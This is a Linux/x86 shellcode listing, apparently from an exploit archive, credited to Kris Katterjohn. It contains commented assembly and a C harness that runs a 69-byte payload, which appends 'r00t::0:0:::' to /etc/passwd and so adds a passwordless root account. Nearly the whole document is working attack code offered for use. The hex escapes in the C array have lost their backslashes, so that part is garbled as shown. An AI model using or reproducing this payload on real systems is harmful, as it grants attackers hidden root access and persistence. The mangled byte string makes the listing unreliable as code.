linux/x86 add root user r00t with no password to /etc/passwd 69 bytes

/* By Kris Katterjohn 11/14/2006  *  * 69 byte shellcode to add root user 'r00t' with no password to /etc/passwd  *  * for Linux/x86  *  *  *  * section .text  *  *      global _start  *  * _start:  *  * ; open("/etc//passwd", O_WRONLY | O_APPEND)  *  *      push byte 5  *      pop eax  *      xor ecx, ecx  *      push ecx  *      push 0x64777373  *      push 0x61702f2f  *      push 0x6374652f  *      mov ebx, esp  *      mov cx, 02001Q  *      int 0x80  *  *      mov ebx, eax  *  * ; write(ebx, "r00t::0:0:::", 12)  *  *      push byte 4  *      pop eax  *      xor edx, edx  *      push edx  *      push 0x3a3a3a30  *      push 0x3a303a3a  *      push 0x74303072  *      mov ecx, esp  *      push byte 12  *      pop edx  *      int 0x80  *  * ; close(ebx)  *  *      push byte 6  *      pop eax  *      int 0x80  *  * ; exit()  *  *      push byte 1  *      pop eax  *      int 0x80  */ main() {        char shellcode[] =                "x6ax05x58x31xc9x51x68x73x73x77x64x68"                "x2fx2fx70x61x68x2fx65x74x63x89xe3x66"                "xb9x01x04xcdx80x89xc3x6ax04x58x31xd2"                "x52x68x30x3ax3ax3ax68x3ax3ax30x3ax68"                "x72x30x30x74x89xe1x6ax0cx5axcdx80x6a"                "x06x58xcdx80x6ax01x58xcdx80";        (*(void (*)()) shellcode)(); }